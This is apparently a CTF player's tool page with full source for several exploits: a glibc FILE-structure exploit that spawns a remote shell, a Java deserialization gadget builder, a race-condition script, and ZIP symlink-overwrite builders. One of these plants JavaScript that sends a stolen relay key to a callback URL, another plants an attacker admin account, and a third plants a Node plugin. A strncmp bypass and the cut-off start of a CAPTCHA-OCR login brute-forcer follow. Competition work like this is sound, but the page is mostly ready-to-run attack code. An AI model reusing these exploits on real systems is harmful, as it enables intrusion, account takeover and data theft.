Each tool came out of a specific engagement and is written to be reusable beyond it. Source is shown inline and downloadable from this directory.
the_emptiness_machine_exploit.py
The first corruption leaked a libc pointer through stdout. The second used stderr to reach system().
Source: The Emptiness Machine. Download: the_emptiness_machine_exploit.py
#!/usr/bin/env python3
"""Exploit for HTB Cyber Apocalypse 2026: The Emptiness Machine."""
from __future__ import annotations
import argparse
import re
import socket
import struct
import sys
import time
PROMPT = b"Rin's interaction: "
WHITESPACE = b" \t\n\r\v\f"
# Offsets in the supplied Ubuntu glibc 2.39.
LEAK_TO_LIBC_BASE = 0x1BD4A0
STDERR = 0x2044E0
STDERR_LOCK = 0x205700
SYSTEM = 0x58750
WFILE_JUMPS = 0x202228
def p64(value: int) -> bytes:
return struct.pack("<Q", value)
def u64(data: bytes) -> int:
return struct.unpack("<Q", data)[0]
def put64(payload: bytearray, offset: int, value: int) -> None:
payload[offset : offset + 8] = p64(value)
class Connection:
def __init__(self, host: str, port: int, timeout: float) -> None:
self.sock = socket.create_connection((host, port), timeout=timeout)
self.sock.settimeout(timeout)
self.buffer = bytearray()
def close(self) -> None:
self.sock.close()
def sendline(self, data: bytes) -> None:
self.sock.sendall(data + b"\n")
def recvuntil(self, marker: bytes, maximum: int = 2 * 1024 * 1024) -> bytes:
while marker not in self.buffer:
chunk = self.sock.recv(65536)
if not chunk:
raise EOFError(f"connection closed after {len(self.buffer)} bytes")
self.buffer.extend(chunk)
if len(self.buffer) > maximum:
raise RuntimeError(f"marker not found within {maximum} bytes")
end = self.buffer.index(marker) + len(marker)
result = bytes(self.buffer[:end])
del self.buffer[:end]
return result
def recvall(self, idle_timeout: float = 2.0) -> bytes:
output = bytearray(self.buffer)
self.buffer.clear()
deadline = time.monotonic() + idle_timeout
while time.monotonic() < deadline:
try:
chunk = self.sock.recv(65536)
except socket.timeout:
break
if not chunk:
break
output.extend(chunk)
deadline = time.monotonic() + idle_timeout
return bytes(output)
def build_stage1() -> bytes:
return p64(0xFBAD1800) + p64(0) * 3 + b"\x00"
def build_stage2(libc_base: int) -> bytes:
stderr = libc_base + STDERR
payload = bytearray(224)
# stderr begins with the command passed to system().
payload[0:8] = b"A=;sh\x00\x00\x00"
# Mark stderr for flushing during exit.
put64(payload, 0x20, 0) # _IO_write_base
put64(payload, 0x28, 1) # _IO_write_ptr
put64(payload, 0x88, libc_base + STDERR_LOCK)
# Store the wide FILE layout inside stderr.
put64(payload, 0xA0, stderr - 0x10) # _wide_data
struct.pack_into("<i", payload, 0xC0, 0) # _mode
put64(payload, 0xC8, libc_base + SYSTEM)
put64(payload, 0xD0, stderr + 0x60) # fake wide vtable
put64(payload, 0xD8, libc_base + WFILE_JUMPS) # validated outer vtable
return bytes(payload)
def find_libc_base(disclosure: bytes) -> tuple[int, int, int]:
"""Scan the disclosure for the libc pointer."""
candidates = []
for offset in range(len(disclosure) - 7):
leaked_pointer = u64(disclosure[offset : offset + 8])
libc_base = leaked_pointer - LEAK_TO_LIBC_BASE
if not 0x700000000000 <= leaked_pointer < 0x800000000000:
continue
if libc_base <= 0 or libc_base & 0xFFF:
continue
candidates.append((offset, leaked_pointer, libc_base))
if not candidates:
raise ValueError(
f"no page-aligned libc candidate in {len(disclosure)} leaked bytes"
)
return candidates[0]
def exploit_once(
host: str,
port: int,
timeout: float,
command: str,
) -> tuple[bytes | None, str]:
connection = Connection(host, port, timeout)
try:
connection.recvuntil(PROMPT)
connection.sendline(build_stage1())
disclosure = connection.recvuntil(PROMPT)
try:
leak_offset, leaked_pointer, libc_base = find_libc_base(disclosure)
except ValueError as exc:
return None, str(exc)
stage2 = build_stage2(libc_base)
bad = [(index, byte) for index, byte in enumerate(stage2) if byte in WHITESPACE]
if bad:
locations = ", ".join(f"{index:#x}={byte:#x}" for index, byte in bad)
return None, f"ASLR produced scanf whitespace bytes: {locations}"
print(f"[+] libc leak: {leaked_pointer:#x}")
print(f"[+] libc base: {libc_base:#x}")
print(f"[+] leak offset: {leak_offset:#x}")
connection.sendline(stage2)
connection.sendline(command.encode())
return connection.recvall(), "payload delivered"
finally:
connection.close()
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
parser.add_argument(
"--command",
default="cat /flag.txt 2>/dev/null; cat flag.txt 2>/dev/null; exit",
help="command run by the spawned shell",
)
parser.add_argument("--attempts", type=int, default=20)
parser.add_argument("--timeout", type=float, default=4.0)
args = parser.parse_args()
for attempt in range(1, args.attempts + 1):
print(f"[*] attempt {attempt}/{args.attempts}")
try:
output, status = exploit_once(
args.host,
args.port,
args.timeout,
args.command,
)
except (ConnectionError, EOFError, OSError, RuntimeError) as exc:
print(f"[-] {exc}")
continue
if output is None:
print(f"[-] retrying: {status}")
continue
sys.stdout.buffer.write(output)
if output and not output.endswith(b"\n"):
print()
match = re.search(rb"HTB\{[^}\r\n]+\}", output)
if match:
print(f"[+] flag: {match.group().decode()}")
return 0
print("[-] shell ran, but no HTB flag was found in its output")
return 1
print("[-] all attempts exhausted")
return 1
if __name__ == "__main__":
raise SystemExit(main())OathForger.java
Builds the serialized Java deserialization payload used in Signetry. Constructs a BadAttributeValueExpException wrapping a shaded Jackson POJONode around a TemplatesImpl gadget, removes BaseJsonNode.writeReplace() with Javassist, and writes the trigger to a binary file for inclusion in a DL4J model archive.
Source: Signetry. Download: OathForger.java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import javax.management.BadAttributeValueExpException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.nd4j.shade.jackson.databind.node.POJONode;
import ysoserial.payloads.util.Gadgets;
public class OathForger {
private static String stringWithHash(int target) {
long value = Integer.toUnsignedLong(target);
if (value == 0) return new String(new char[]{0});
char[] digits = new char[7];
int pos = digits.length;
while (value != 0) {
digits[--pos] = (char)(value % 31);
value /= 31;
}
return new String(digits, pos, digits.length - pos);
}
private static void disableWriteReplace() throws Exception {
ClassPool pool = ClassPool.getDefault();
for (String entry : System.getProperty("java.class.path").split(java.io.File.pathSeparator)) {
if (entry.contains("jackson-1.0.0-M2.1.jar")) {
pool.insertClassPath(entry);
}
}
CtClass base = pool.get(
"org.nd4j.shade.jackson.databind.node.BaseJsonNode"
);
CtMethod method = base.getDeclaredMethod("writeReplace");
base.removeMethod(method);
base.toClass();
}
public static void main(String[] args) throws Exception {
if (args.length != 2) {
throw new IllegalArgumentException(
"usage: OathForger <command> <output-file>"
);
}
disableWriteReplace();
Object templates = Gadgets.createTemplatesImpl(args[0]);
POJONode node = new POJONode(templates);
BadAttributeValueExpException trigger =
new BadAttributeValueExpException(null);
java.lang.reflect.Field valField =
BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(trigger, node);
try (ObjectOutputStream out =
new ObjectOutputStream(new FileOutputStream(args[1]))) {
out.writeObject(trigger);
}
System.out.println("created=" + args[1]);
System.out.println("trigger=BadAttributeValueExpException");
}
}VerifyOath.java
Validates the OathForger payload under Java 11. Deletes any previous proof file, deserializes the payload, reports the expected post-execution exception, and confirms that the embedded command reached the sink.
Source: Signetry. Download: VerifyOath.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Path;
public class VerifyOath {
public static void main(String[] args) throws Exception {
Path proof = Path.of("/tmp/oathforger-proof");
Files.deleteIfExists(proof);
try (ObjectInputStream in =
new ObjectInputStream(new FileInputStream(args[0]))) {
in.readObject();
} catch (Throwable error) {
System.out.println(
"post_execution_exception=" + error.getClass().getSimpleName()
);
}
System.out.println("sink_executed=" + Files.exists(proof));
}
}race_the_oath.py
Races curator finalization against maintainer withdrawal on the Signetry model registry. Loads both cookie jars, verifies roles, stages a fresh model for each attempt, and sends /finalize and /withdraw from separate threads across a series of timing offsets.
Source: Signetry. Download: race_the_oath.py
#!/usr/bin/env python3
import sys
import threading
import time
from pathlib import Path
import requests
TARGET = sys.argv[1].rstrip("/")
MODEL = Path("oathbound-model.zip").read_bytes()
def cookie_header(path):
for line in Path(path).read_text().splitlines():
if not line or (line.startswith("#") and not line.startswith("#HttpOnly_")):
continue
fields = line.split("\t")
if len(fields) >= 7:
return f"{fields[5]}={fields[6]}"
raise RuntimeError(f"no cookie found in {path}")
maintainer = requests.Session()
maintainer.headers["Cookie"] = cookie_header("/tmp/signetry-maint.cookies")
curator = requests.Session()
curator.headers["Cookie"] = cookie_header("/tmp/signetry-conservator.cookies")
# Establish reusable connections before racing.
for name, session in (("maintainer", maintainer), ("curator", curator)):
response = session.get(f"{TARGET}/api/whoami", timeout=10)
response.raise_for_status()
print(f"{name}={response.json()['role']}")
delays = (0.0, 0.0005, 0.001, 0.002, 0.004)
for attempt in range(1, 101):
staged = maintainer.post(
f"{TARGET}/stage",
headers={"Content-Type": "application/zip"},
data=MODEL,
timeout=10,
)
staged.raise_for_status()
token = staged.json()["token"]
result = {}
gate = threading.Barrier(3)
delay = delays[(attempt - 1) % len(delays)]
def finalize():
gate.wait()
result["finalize"] = curator.post(
f"{TARGET}/finalize",
json={"token": token},
timeout=15,
)
def withdraw():
gate.wait()
time.sleep(delay)
result["withdraw"] = maintainer.post(
f"{TARGET}/withdraw",
json={"token": token},
timeout=10,
)
threads = [
threading.Thread(target=finalize),
threading.Thread(target=withdraw),
]
for thread in threads:
thread.start()
gate.wait()
for thread in threads:
thread.join()
final = result["finalize"]
removed = result["withdraw"]
if attempt % 10 == 0 or final.status_code not in (403, 404):
print(
f"attempt={attempt:03d} delay={delay:.4f} "
f"finalize={final.status_code} withdraw={removed.status_code}"
)
if final.status_code not in (403, 404):
print(f"candidate_hit={final.status_code}")
print(f"response={final.text}")
break
else:
print("candidate_hit=none")manifest_mischief.py
Creates the duplicate-entry ZIP used in the Archonyx relay-key stage. Builds a symlink entry and a regular entry with the same name so extraction overwrites an arbitrary target through the operating system's link resolution.
Source: Archonyx. Download: manifest_mischief.py
#!/usr/bin/env python3
"""Build the duplicate-entry archive used in the Archonyx relay-key stage."""
from __future__ import annotations
import argparse
import json
import stat
import zipfile
from pathlib import Path
from urllib.parse import urlencode, urlsplit
DEFAULT_OUTPUT = Path("relay_hijack.zip")
DEFAULT_TARGET = "/app/public/theme.js"
def callback_url(base_url: str) -> str:
parsed = urlsplit(base_url)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise argparse.ArgumentTypeError(
"callback must be an absolute HTTP or HTTPS URL"
)
return base_url
def build_archive(output: Path, target: str, callback: str) -> None:
query_prefix = urlencode({"stage": "relay-key", "key": ""})
callback_prefix = f"{callback}{'&' if '?' in callback else '?'}{query_prefix}"
javascript = f"""
fetch('/api/relay-key', {{credentials: 'include'}})
.then(response => response.json())
.then(result => {{
location.href =
{json.dumps(callback_prefix)}
+ encodeURIComponent(result.data);
}});
""".lstrip()
with zipfile.ZipFile(output, "w") as archive:
link = zipfile.ZipInfo("theme.js")
link.create_system = 3
link.external_attr = (stat.S_IFLNK | 0o777) << 16
link.compress_type = zipfile.ZIP_STORED
archive.writestr(link, target)
replacement = zipfile.ZipInfo("theme.js")
replacement.create_system = 3
replacement.external_attr = (stat.S_IFREG | 0o600) << 16
replacement.compress_type = zipfile.ZIP_STORED
archive.writestr(replacement, javascript)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"Create the duplicate-entry ZIP used to replace Archonyx theme.js."
)
)
parser.add_argument(
"--callback",
required=True,
type=callback_url,
help="Callback URL that receives the recovered relay key.",
)
parser.add_argument(
"--output",
type=Path,
default=DEFAULT_OUTPUT,
help=f"Output archive path. Default: {DEFAULT_OUTPUT}",
)
parser.add_argument(
"--target",
default=DEFAULT_TARGET,
help=f"Symlink target. Default: {DEFAULT_TARGET}",
)
return parser.parse_args()
def main() -> None:
args = parse_args()
build_archive(args.output, args.target, args.callback)
print(f"created={args.output}")
if __name__ == "__main__":
main()ledger_coup.py
Creates the duplicate-entry ZIP used to replace the Archonyx authentication database. Uses the same symlink-then-regular-file primitive to overwrite db.json with a controlled Ledgermaster account.
Source: Archonyx. Download: ledger_coup.py
#!/usr/bin/env python3
"""Build the duplicate-entry database archive used in Archonyx."""
from __future__ import annotations
import argparse
import json
import stat
import zipfile
from pathlib import Path
DEFAULT_OUTPUT = Path("ledger_coup.zip")
DEFAULT_TARGET = "/app/data/db.json"
def build_archive(
output: Path,
target: str,
username: str,
password_hash: str,
api_key: str,
) -> None:
database = {
"users": [
{
"username": username,
"password": password_hash,
"role": "ledgermaster",
"verified": True,
"apiKey": api_key,
"drawsId": None,
}
],
"convoys": [],
}
with zipfile.ZipFile(output, "w") as archive:
link = zipfile.ZipInfo("db.json")
link.create_system = 3
link.external_attr = (stat.S_IFLNK | 0o777) << 16
link.compress_type = zipfile.ZIP_STORED
archive.writestr(link, target)
replacement = zipfile.ZipInfo("db.json")
replacement.create_system = 3
replacement.external_attr = (stat.S_IFREG | 0o600) << 16
replacement.compress_type = zipfile.ZIP_STORED
archive.writestr(
replacement,
json.dumps(database, indent=2),
)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"Create the duplicate-entry ZIP used to replace Archonyx db.json."
)
)
parser.add_argument("--username", required=True)
parser.add_argument(
"--password-hash",
required=True,
help="Precomputed bcrypt password hash.",
)
parser.add_argument("--api-key", required=True)
parser.add_argument(
"--output",
type=Path,
default=DEFAULT_OUTPUT,
help=f"Output archive path. Default: {DEFAULT_OUTPUT}",
)
parser.add_argument(
"--target",
default=DEFAULT_TARGET,
help=f"Symlink target. Default: {DEFAULT_TARGET}",
)
return parser.parse_args()
def main() -> None:
args = parse_args()
build_archive(
args.output,
args.target,
args.username,
args.password_hash,
args.api_key,
)
print(f"created={args.output}")
if __name__ == "__main__":
main()seal_sorcery.py
Creates the duplicate-entry ZIP used to place the Archonyx Less plugin. Plants a Node.js module that invokes a setuid helper and writes the result to the public directory.
Source: Archonyx. Download: seal_sorcery.py
#!/usr/bin/env python3
"""Build the duplicate-entry Less plugin archive used in Archonyx."""
from __future__ import annotations
import argparse
import json
import stat
import zipfile
from pathlib import Path
DEFAULT_OUTPUT = Path("seal_sorcery.zip")
DEFAULT_TARGET = "/tmp/seal_plugin.js"
DEFAULT_PROOF_PATH = "/app/public/clearance-proof.txt"
DEFAULT_HELPER = "/readflag"
def build_archive(
output: Path,
target: str,
helper: str,
proof_path: str,
) -> None:
plugin = f"""
const fs = require('fs');
const cp = require('child_process');
module.exports = {{
install() {{
const flag = cp.execFileSync(
{json.dumps(helper)},
{{ encoding: 'utf8' }}
);
fs.writeFileSync(
{json.dumps(proof_path)},
flag
);
}}
}};
""".lstrip()
with zipfile.ZipFile(output, "w") as archive:
link = zipfile.ZipInfo("seal_plugin.js")
link.create_system = 3
link.external_attr = (stat.S_IFLNK | 0o777) << 16
link.compress_type = zipfile.ZIP_STORED
archive.writestr(link, target)
replacement = zipfile.ZipInfo("seal_plugin.js")
replacement.create_system = 3
replacement.external_attr = (stat.S_IFREG | 0o600) << 16
replacement.compress_type = zipfile.ZIP_STORED
archive.writestr(replacement, plugin)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"Create the duplicate-entry ZIP used to place the Archonyx Less plugin."
)
)
parser.add_argument(
"--output",
type=Path,
default=DEFAULT_OUTPUT,
help=f"Output archive path. Default: {DEFAULT_OUTPUT}",
)
parser.add_argument(
"--target",
default=DEFAULT_TARGET,
help=f"Symlink target. Default: {DEFAULT_TARGET}",
)
parser.add_argument(
"--helper",
default=DEFAULT_HELPER,
help=f"Privileged helper path. Default: {DEFAULT_HELPER}",
)
parser.add_argument(
"--proof-path",
default=DEFAULT_PROOF_PATH,
help=f"Proof output path. Default: {DEFAULT_PROOF_PATH}",
)
return parser.parse_args()
def main() -> None:
args = parse_args()
build_archive(
args.output,
args.target,
args.helper,
args.proof_path,
)
print(f"created={args.output}")
if __name__ == "__main__":
main()corpse_sync.py
Decodes the anomalous audit log produced by the CorpSyncAudit challenge. Matches timestamp and region records, reverses the five-bit conditional XOR transformations, packs six numeric fields into 32-bit words, and recovers four payload bytes per record.
Source: CorpSyncAudit. Download: corpse_sync.py
#!/usr/bin/env python3
import re
import sys
from pathlib import Path
REGION_INDEX = {
"WORLD": 0,
"NORTH_AMERICA": 1,
"LATIN_AMERICA": 2,
"EUROPE": 3,
"EU_EASTERN": 4,
"ASIA": 8,
"EAST_ASIA": 9,
"SUB_SAHARAN_AFRICA": 16,
"AFRICA_EAST": 17,
"AFRICA_WEST": 18,
"AFRICA_SOUTH": 20,
"RUSSIA": 21,
"OCEANIA": 24,
}
WEEKDAY_KEY = {
"Monday": 1,
"Tuesday": 2,
"Wednesday": 3,
"Thursday": 4,
"Friday": 5,
"Saturday": 6,
"Sunday": 7,
}
ENV_KEY = bytes.fromhex("f07ec6a4")
PATTERN = re.compile(
r"^([^,]+), "
r"(\d+)/(\d+)/(\d+) "
r"(\d+):(\d+):(\d+) "
r"(\S+) (\S+) \| Region=(\S+)$"
)
def decode_record(match):
weekday = match.group(1)
day, month, year = map(int, match.group(2, 3, 4))
hour, minute, second = map(int, match.group(5, 6, 7))
_ampm = match.group(8)
timezone = match.group(9)
region = match.group(10)
# FUN_14000314a
if timezone == "GMT":
old_minute = minute
pivot = int((minute + hour - second) / 2)
hour -= pivot
minute = pivot
second = old_minute - pivot
region_index = REGION_INDEX[region]
# FUN_140003117: each region bit controls one field XOR.
if region_index & 0x10:
hour ^= 0x0C
if region_index & 0x08:
minute ^= 0x1E
if region_index & 0x04:
second ^= 0x1E
if region_index & 0x02:
day ^= 0x10
if region_index & 0x01:
month ^= 0x06
# FUN_140003215: pack the fields into one 32-bit value.
packed = (
(hour << 27)
| (minute << 21)
| (second << 15)
| (day << 10)
| (month << 6)
| (year - 1990)
) & 0xFFFFFFFF
weekday_xor = WEEKDAY_KEY.get(weekday, 1)
raw = packed.to_bytes(4, "big")
return bytes(
raw[i] ^ weekday_xor ^ ENV_KEY[i]
for i in range(4)
)
def main():
if len(sys.argv) != 2:
raise SystemExit(f"usage: {sys.argv[0]} suspicious.log")
payload = bytearray()
decoded_records = 0
for line in Path(sys.argv[1]).read_text().splitlines():
match = PATTERN.match(line)
if not match:
continue
payload.extend(decode_record(match))
decoded_records += 1
Path("payload.bin").write_bytes(payload)
print(f"decoded_records={decoded_records}")
print(f"payload_size={len(payload)}")
print(f"first_32_bytes={payload[:32].hex()}")
print("saved=payload.bin")
if __name__ == "__main__":
main()cinder_vm.py
Disassembles and emulates the custom four-byte VM embedded in The Cinder Engine. Extracts the ROM, reconstructs the instruction set, reverses the eight-round validation transform, and verifies the recovered input through forward VM execution.
Source: The Cinder Engine. Download: cinder_vm.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import struct
from pathlib import Path
ROM_OFFSET = 0xE80
ROM_SIZE = 0x131E
MASK32 = 0xFFFFFFFF
NAMES = {
0x00: "halt",
0x11: "mov",
0x29: "rol",
0x2A: "ror",
0x2B: "shl",
0x2C: "shr",
0x3A: "li",
0x52: "xor",
0x53: "and",
0x54: "or",
0x6B: "mul",
0x7C: "add",
0x7D: "sub",
0x80: "addi",
0x90: "cmp",
0xA0: "jmp",
0xA1: "jz",
0xA2: "jnz",
0xC4: "load",
0xC5: "store",
0xC6: "rom",
0xE0: "in",
0xE1: "out",
}
def u32(value: int) -> int:
return value & MASK32
def s32(value: int) -> int:
value &= MASK32
return value if value < 0x80000000 else value - 0x100000000
def ror32(value: int, count: int) -> int:
count &= 31
value &= MASK32
if count == 0:
return value
return ((value >> count) | (value << (32 - count))) & MASK32
def rol32(value: int, count: int) -> int:
return ror32(value, -count)
def fields(raw: bytes) -> tuple[int, int, int, int, int, int]:
b0, b1, b2, opcode = raw
imm = b0 | (b1 << 8)
simm = struct.unpack("<h", raw[:2])[0]
dst = b2 >> 4
src1 = b2 & 0xF
src2 = b0 & 0xF
return opcode, imm, simm, dst, src1, src2
def render(pc: int, raw: bytes) -> str:
opcode, imm, simm, dst, src1, src2 = fields(raw)
name = NAMES.get(opcode, f"bad_{opcode:02x}")
if opcode == 0x00:
operands = ""
elif opcode == 0x11:
operands = f"r{dst}, r{src1}"
elif opcode in (0x29, 0x2A, 0x2B, 0x2C):
operands = f"r{dst}, r{src1}, {imm & 31}"
elif opcode == 0x3A:
operands = f"r{dst}, 0x{imm:04x}"
elif opcode in (0x52, 0x53, 0x54, 0x6B, 0x7C, 0x7D):
operands = f"r{dst}, r{src1}, r{src2}"
elif opcode == 0x80:
operands = f"r{dst}, r{src1}, 0x{imm:04x}"
elif opcode == 0x90:
operands = f"r{src1}, r{src2}"
elif opcode in (0xA0, 0xA1, 0xA2):
operands = f"{pc + 4 + simm:#06x} ({simm:+d})"
elif opcode in (0xC4, 0xC6):
operands = f"r{dst}, [r{src1} + 0x{imm:04x}]"
elif opcode == 0xC5:
operands = f"[r{src1} + 0x{imm:04x}], r{dst}"
elif opcode == 0xE0:
operands = f"r{dst}"
elif opcode == 0xE1:
operands = f"r{src1}"
else:
operands = f"raw={raw.hex()}"
return f"{pc:04x}: {raw.hex(' '):11s} {name:5s} {operands}".rstrip()
def linear_rows(rom: bytes) -> list[int]:
"""Recover the 32x32 byte-XOR matrix from the verified linear-layer code."""
regs = [0] * 16
memory = {index: 1 << index for index in range(32)}
for pc in range(0x70, 0x1018, 4):
raw = rom[pc : pc + 4]
opcode, imm, _simm, dst, src1, src2 = fields(raw)
if opcode == 0xC4:
if src1 != 0:
raise RuntimeError(f"unexpected indexed load in linear layer at {pc:#x}")
regs[dst] = memory.get(imm, 0)
elif opcode == 0x52:
regs[dst] = regs[src1] ^ regs[src2]
elif opcode == 0xC5:
if src1 != 0:
raise RuntimeError(f"unexpected indexed store in linear layer at {pc:#x}")
memory[imm] = regs[dst]
else:
raise RuntimeError(
f"unexpected opcode {opcode:#x} in linear layer at {pc:#x}"
)
return [memory[0x80 + index] for index in range(32)]
def invert_linear(rows: list[int], output: bytes) -> bytes:
if len(rows) != 32 or len(output) != 32:
raise ValueError("linear layer must be 32 by 32")
augmented = [[rows[index], output[index]] for index in range(32)]
pivot_row_for_column: dict[int, int] = {}
row = 0
for column in range(32):
pivot = next(
(candidate for candidate in range(row, 32)
if (augmented[candidate][0] >> column) & 1),
None,
)
if pivot is None:
continue
augmented[row], augmented[pivot] = augmented[pivot], augmented[row]
for other in range(32):
if other != row and ((augmented[other][0] >> column) & 1):
augmented[other][0] ^= augmented[row][0]
augmented[other][1] ^= augmented[row][1]
pivot_row_for_column[column] = row
row += 1
if row != 32:
raise RuntimeError(f"linear matrix is not invertible (rank {row})")
return bytes(
augmented[pivot_row_for_column[column]][1] for column in range(32)
)
def solve(rom: bytes) -> tuple[bytes, bytes]:
sbox = rom[0x10C4:0x11C4]
keys_blob = rom[0x11C4:0x12E4]
target = rom[0x12E4:0x1304]
output_key = rom[0x1304:0x131E]
if len(set(sbox)) != 256:
raise RuntimeError("S-box is not a permutation")
inverse_sbox = [0] * 256
for index, value in enumerate(sbox):
inverse_sbox[value] = index
keys = [keys_blob[offset : offset + 32] for offset in range(0, 0x120, 32)]
if len(keys) != 9 or any(len(key) != 32 for key in keys):
raise RuntimeError("unexpected round-key layout")
rows = linear_rows(rom)
state = bytes(target)
for round_number in range(8, 0, -1):
state = bytes(left ^ right for left, right in zip(state, keys[round_number]))
state = invert_linear(rows, state)
state = bytes(inverse_sbox[value] for value in state)
accepted_input = bytes(left ^ right for left, right in zip(state, keys[0]))
flag = bytes(
accepted_input[index] ^ output_key[index]
for index in range(len(output_key))
)
return accepted_input, flag
class VM:
def __init__(self, rom: bytes, input_data: bytes):
self.rom = rom
self.input_data = input_data[:0x1000]
self.input_pos = 0
self.regs = [0] * 16
self.memory = bytearray(0x10000)
self.zero = False
self.pc = 0
self.output = bytearray()
self.steps = 0
def reg(self, index: int) -> int:
return self.regs[index] & MASK32
def set_reg(self, index: int, value: int) -> None:
self.regs[index] = value & MASK32
def run(self, max_steps: int = 10_000_000, trace: bool = False) -> bytes:
while self.steps < max_steps:
if not 0 <= self.pc <= len(self.rom) - 4:
raise RuntimeError(f"PC outside ROM: {self.pc:#x}")
raw = self.rom[self.pc : self.pc + 4]
opcode, imm, simm, dst, src1, src2 = fields(raw)
next_pc = self.pc + 4
self.steps += 1
if trace:
print(render(self.pc, raw))
if opcode == 0x00:
return bytes(self.output)
if opcode == 0x11:
self.set_reg(dst, self.reg(src1))
elif opcode == 0x29:
self.set_reg(dst, rol32(self.reg(src1), imm))
elif opcode == 0x2A:
self.set_reg(dst, ror32(self.reg(src1), imm))
elif opcode == 0x2B:
self.set_reg(dst, self.reg(src1) << (imm & 31))
elif opcode == 0x2C:
self.set_reg(dst, self.reg(src1) >> (imm & 31))
elif opcode == 0x3A:
self.set_reg(dst, imm)
elif opcode == 0x52:
result = self.reg(src1) ^ self.reg(src2)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x53:
result = self.reg(src1) & self.reg(src2)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x54:
result = self.reg(src1) | self.reg(src2)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x6B:
result = u32(s32(self.reg(src1)) * s32(self.reg(src2)))
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x7C:
result = u32(s32(self.reg(src1)) + s32(self.reg(src2)))
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x7D:
result = u32(s32(self.reg(src1)) - s32(self.reg(src2)))
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x80:
result = u32(self.reg(src1) + imm)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x90:
self.zero = s32(self.reg(src1)) == s32(self.reg(src2))
elif opcode == 0xA0:
next_pc += simm
elif opcode == 0xA1:
if self.zero:
next_pc += simm
elif opcode == 0xA2:
if not self.zero:
next_pc += simm
elif opcode == 0xC4:
address = (imm + self.reg(src1)) & 0xFFFF
self.set_reg(dst, self.memory[address])
elif opcode == 0xC5:
address = (imm + self.reg(src1)) & 0xFFFF
self.memory[address] = self.reg(dst) & 0xFF
elif opcode == 0xC6:
address = (imm + self.reg(src1)) % len(self.rom)
self.set_reg(dst, self.rom[address])
elif opcode == 0xE0:
if self.input_pos < len(self.input_data):
self.set_reg(dst, self.input_data[self.input_pos])
self.input_pos += 1
self.zero = False
else:
self.set_reg(dst, 0)
self.zero = True
elif opcode == 0xE1:
self.output.append(self.reg(src1) & 0xFF)
else:
raise RuntimeError(f"bad opcode {opcode:#x} at {self.pc:#x}")
self.pc = next_pc
raise RuntimeError(f"step limit reached at PC {self.pc:#x}")
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("binary", type=Path)
parser.add_argument("--input", default="")
parser.add_argument("--input-file", type=Path)
parser.add_argument("--trace", action="store_true")
parser.add_argument("--disassemble", action="store_true")
parser.add_argument("--solve", action="store_true")
args = parser.parse_args()
blob = args.binary.read_bytes()
rom = blob[ROM_OFFSET : ROM_OFFSET + ROM_SIZE]
if len(rom) != ROM_SIZE:
raise SystemExit("binary is too short for the verified ROM range")
if args.disassemble:
for pc in range(0, len(rom) - 3, 4):
print(render(pc, rom[pc : pc + 4]))
return
if args.solve:
accepted_input, flag = solve(rom)
print(f"accepted_input_hex={accepted_input.hex()}")
print(f"flag={flag.decode('utf-8', errors='backslashreplace')}")
vm = VM(rom, accepted_input)
output = vm.run()
print(f"verified_output={output.decode('utf-8', errors='backslashreplace')}")
print(f"verified_steps={vm.steps}")
if output != flag:
raise SystemExit("emulator verification failed")
return
input_data = (
args.input_file.read_bytes()
if args.input_file is not None
else args.input.encode()
)
vm = VM(rom, input_data)
output = vm.run(trace=args.trace)
print(output.decode("utf-8", errors="backslashreplace"), end="")
print(f"\n[steps={vm.steps} input={vm.input_pos} pc={vm.pc:#x}]")
if __name__ == "__main__":
main()shapexpect.py
Automates exploitation of a binary-safe comparison bug. The target hashes both the server password and the user guess with SHA-256, then compares the digests with strncmp(). SHA-256 digests are raw bytes and can contain a null byte, and strncmp() treats a null byte as end-of-string. Feed the target guesses whose SHA-256 digest begins with 00, and eventually the server's random digest also begins with 00 on the same round. strncmp() terminates early and reports a match.
The tool spawns the remote service, generates candidates whose hashes start with a null byte, and feeds them in until the comparison collides.
This single tool solved both the Easy and Hard challenges. Hard upgraded its password generation from rand() to std::random_device, but left the strncmp() comparison untouched. Only the HOST line changes between the two.
Source: Guess Password (Easy and Hard). Download: shapexpect.py
import hashlib
import random
import string
import pexpect
HOST = "guess-password-easy.2025-bq.ctfcompetition.com"
PORT = "1337"
def make_zero_hash_input():
while True:
s = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
h = hashlib.sha256(s.encode()).digest()
if h[0] == 0:
return s
child = pexpect.spawn(
f"nc {HOST} {PORT}",
encoding="utf-8",
timeout=10
)
attempts = 0
while True:
child.expect("Your guess:")
guess = make_zero_hash_input()
attempts += 1
print(f"[{attempts}] trying: {guess}")
child.sendline(guess)
child.expect([
"Wrong! Try again in a second...",
"CTF\\{.*\\}",
pexpect.EOF,
pexpect.TIMEOUT
])
output = child.before + child.after
print(output)
if "CTF{" in output:
print("\nFLAG FOUND:")
print(output)
breakCAPTCHA_goblin.py
Defeats an image-based CAPTCHA gate, then brute forces the login behind it. Selenium drives the browser, Tesseract OCR reads the CAPTCHA image into text, and the script submits the solved CAPTCHA alongside each password attempt, handling the CSRF token and the JavaScript login button per request.
Source: CAPTCHApocolypse. Download: CAPTCHA_goblin.py
"""
CAPTCHA_goblin.py
Selenium + Tesseract OCR CAPTCHA bypass tool. Iterates through a password
wordlist, OCR-reads the CAPTCHA image rendered on the login page, and
distinguishes between CAPTCHA failure (retries same password with fresh
CAPTCHA) and password failure (moves on to next entry).
Used in the CAPTCHApocolypse TryHackMe CTF.
Dependencies:
